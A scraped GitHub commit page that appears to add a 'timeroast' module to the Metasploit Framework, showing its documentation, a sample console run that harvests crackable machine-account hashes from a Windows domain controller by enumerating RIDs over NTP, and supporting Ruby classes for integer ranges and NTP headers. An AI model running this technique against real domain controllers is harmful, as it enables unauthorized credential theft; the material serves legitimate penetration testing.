-
Notifications
You must be signed in to change notification settings - Fork 14.1k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #19748, Add the timeroast module
Add the timeroast module
- Loading branch information
Showing
9 changed files
with
751 additions
and
5 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,47 @@ | ||
## Vulnerable Application | ||
Windows authenticates NTP requests by calculating the message digest using the NT hash followed by the first | ||
48 bytes of the NTP message (all fields preceding the key ID). An attacker can abuse this to recover hashes | ||
that can be cracked offline for machine and trust accounts. The attacker must know the accounts RID, but | ||
because RIDs are sequential, they can easily be enumerated. | ||
|
||
## Verification Steps | ||
|
||
1. Setup a Windows domain controller target | ||
1. Start msfconsole | ||
1. Use the `auxiliary/admin/dcerpc/samr_account` module to create a new computer account with the `ADD_COMPUTER` action | ||
1. Note the RID (the last part of the SID) and password of the new account | ||
1. Use the `auxiliary/scanner/ntp/timeroast` module | ||
1. Set the `RHOSTS` option to the target domain controller | ||
1. Set the `RIDS` option to the RID of the new account | ||
1. Run the module and see that a hash is collected, this has will show up in the output of the `creds` command if a | ||
database is connected | ||
|
||
## Options | ||
|
||
### RIDS | ||
The RIDs to enumerate (e.g. 1000-2000). Multiple values and ranges can be specified using a comma as a separator. | ||
|
||
## Scenarios | ||
|
||
### Windows 2019 x64 Domain Controller | ||
|
||
``` | ||
msf6 auxiliary(scanner/ntp/timeroast) > set RIDS 4200-4205 | ||
RIDS => 4200-4205 | ||
msf6 auxiliary(scanner/ntp/timeroast) > set RHOSTS 192.168.159.10 | ||
RHOSTS => 192.168.159.10 | ||
msf6 auxiliary(scanner/ntp/timeroast) > run | ||
[*] Checking RID: 4200 | ||
[*] Checking RID: 4201 | ||
[+] Hash for RID: 4201 - 4201:$sntp-ms$74e3c4ac73afe868119ff98613888d48$1c0100e900000000000a2c704c4f434ceb0aaf8ac9813bd40000000000000000eb0aea216d99a558eb0aea216d99e010 | ||
[*] Checking RID: 4202 | ||
[+] Hash for RID: 4202 - 4202:$sntp-ms$e106388a43f6bbd5365e3a6f2dee741d$1c0100e900000000000a2c704c4f434ceb0aaf8ac78c5c9a0000000000000000eb0aea21bb83de46eb0aea21bb8442f0 | ||
[*] Checking RID: 4203 | ||
[*] Checking RID: 4204 | ||
[+] Hash for RID: 4204 - 4204:$sntp-ms$d0b1961cc3d57a1eaa40bfeeb9f30eb9$1c0100e900000000000a2c704c4f434ceb0aaf8ac653c2f50000000000000000eb0aea222a6c25c3eb0aea222a6c6a8c | ||
[*] Checking RID: 4205 | ||
[*] Waiting on 3 pending responses... | ||
[*] Scanned 1 of 1 hosts (100% complete) | ||
[*] Auxiliary module execution completed | ||
msf6 auxiliary(scanner/ntp/timeroast) > | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,70 @@ | ||
# -*- coding: binary -*- | ||
|
||
module Msf | ||
### | ||
# | ||
# Integer range option. A maximum value can be specified. Negative numbers are | ||
# not supported due to - being used for ranges. Numbers can be excluded by | ||
# using the ! prefix. | ||
# | ||
### | ||
class OptIntRange < OptBase | ||
attr_reader :maximum | ||
|
||
def initialize(in_name, attrs = [], | ||
required: true, **kwargs) | ||
super | ||
@maximum = kwargs.fetch(:maximum, nil) | ||
end | ||
|
||
def type | ||
'integer range' | ||
end | ||
|
||
def normalize(value) | ||
value.to_s.gsub(/\s/, '') | ||
end | ||
|
||
def valid?(value, check_empty: true) | ||
return false if check_empty && empty_required_value?(value) | ||
|
||
if value.present? | ||
value = value.to_s.gsub(/\s/, '') | ||
return false unless value =~ /\A(!?\d+|!?\d+-\d+)(,(!?\d+|!?\d+-\d+))*\Z/ | ||
end | ||
|
||
super | ||
end | ||
|
||
def self.parse(value) | ||
include = [] | ||
exclude = [] | ||
|
||
value.split(',').each do |range_str| | ||
destination = range_str.start_with?('!') ? exclude : include | ||
|
||
range_str.delete_prefix!('!') | ||
if range_str.include?('-') | ||
start_range, end_range = range_str.split('-').map(&:to_i) | ||
range = (start_range..end_range) | ||
else | ||
single_value = range_str.to_i | ||
range = (single_value..single_value) | ||
end | ||
|
||
destination << range | ||
end | ||
|
||
Enumerator.new do |yielder| | ||
include.each do |include_range| | ||
include_range.each do |num| | ||
break if @maximum && num > @maximum | ||
next if exclude.any? { |exclude_range| exclude_range.cover?(num) } | ||
|
||
yielder << num | ||
end | ||
end | ||
end | ||
end | ||
end | ||
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,117 @@ | ||
# -*- coding: binary -*- | ||
|
||
require 'bindata' | ||
require 'bigdecimal' | ||
require 'bigdecimal/util' | ||
|
||
module Rex | ||
module Proto | ||
module NTP::Header | ||
|
||
class NTPShort < BinData::Primitive | ||
# see: https://datatracker.ietf.org/doc/html/rfc5905#section-6 | ||
endian :big | ||
|
||
uint16 :seconds | ||
uint16 :fraction | ||
|
||
def set(value) | ||
value = value.to_d | ||
seconds = value.floor | ||
self.seconds = seconds | ||
self.fraction = ((value - seconds) * BigDecimal(2**16)).round | ||
end | ||
|
||
def get | ||
BigDecimal(seconds.value) + (BigDecimal(fraction.value) / BigDecimal(2**16)) | ||
end | ||
end | ||
|
||
class NTPTimestamp < BinData::Primitive | ||
UNIX_EPOCH = Time.utc(1900, 1, 1) | ||
# see: https://datatracker.ietf.org/doc/html/rfc5905#section-6 | ||
endian :big | ||
|
||
uint32 :seconds | ||
uint32 :fraction | ||
|
||
def get | ||
return nil if seconds == 0 && fraction == 0 | ||
|
||
time_in_seconds = seconds + BigDecimal(fraction.to_s) / BigDecimal((2**32).to_s) | ||
(UNIX_EPOCH + time_in_seconds).utc | ||
end | ||
|
||
def set(time) | ||
if time.nil? | ||
seconds = fraction = 0 | ||
else | ||
seconds_since_epoch = time.to_r - UNIX_EPOCH.to_r | ||
seconds = seconds_since_epoch.to_i | ||
fraction = ((seconds_since_epoch - seconds) * (2**32)).to_i | ||
end | ||
|
||
self.seconds = seconds | ||
self.fraction = fraction | ||
end | ||
end | ||
|
||
class NTPExtension < BinData::Record | ||
endian :big | ||
|
||
uint16 :ext_type | ||
uint16 :ext_length | ||
uint8_array :ext_value, initial_length: :ext_length | ||
end | ||
|
||
# A unified structure capable of representing NTP versions 1-4 | ||
class NTPHeader < BinData::Record | ||
# see: https://datatracker.ietf.org/doc/html/rfc958 (NTP v0 - unsupported) | ||
# see: https://datatracker.ietf.org/doc/html/rfc1059 (NTP v1) | ||
# see: https://datatracker.ietf.org/doc/html/rfc1119 (NTP v2) | ||
# see: https://datatracker.ietf.org/doc/html/rfc1305 (NTP v3) | ||
# see: https://datatracker.ietf.org/doc/html/rfc5905 (NTP v4) | ||
endian :big | ||
hide :bytes_remaining_0, :bytes_remaining_1 | ||
|
||
bit2 :leap_indicator | ||
bit3 :version_number, initial_value: 4, assert: -> { version_number.between?(1, 4) } | ||
bit3 :mode, onlyif: -> { version_number > 1 } | ||
resume_byte_alignment | ||
uint8 :stratum | ||
int8 :poll | ||
int8 :precision | ||
ntp_short :root_delay | ||
ntp_short :root_dispersion | ||
string :reference_id, length: 4, trim_padding: true | ||
ntp_timestamp :reference_timestamp | ||
ntp_timestamp :origin_timestamp | ||
ntp_timestamp :receive_timestamp | ||
ntp_timestamp :transmit_timestamp | ||
count_bytes_remaining :bytes_remaining_0 | ||
buffer :extensions, length: -> { bytes_remaining_0 - 20 }, onlyif: :has_extensions? do | ||
array :extensions, type: :ntp_extension, read_until: :eof | ||
end | ||
count_bytes_remaining :bytes_remaining_1 | ||
uint32 :key_identifier, onlyif: :has_key_identifier? | ||
uint8_array :message_digest, initial_length: OpenSSL::Digest::MD5.new.digest_length, onlyif: :has_message_digest? | ||
|
||
private | ||
|
||
def has_extensions? | ||
# -20 for the length of the key identifier and message digest which are required when extensions are present | ||
bytes_remaining_0 - 20 > 0 && version_number > 3 | ||
end | ||
|
||
def has_key_identifier? | ||
bytes_remaining_1 > 0 || !key_identifier.clear? | ||
end | ||
|
||
def has_message_digest? | ||
bytes_remaining_1 > 4 || !message_digest.clear? | ||
end | ||
end | ||
|
||
end | ||
end | ||
end |
Oops, something went wrong.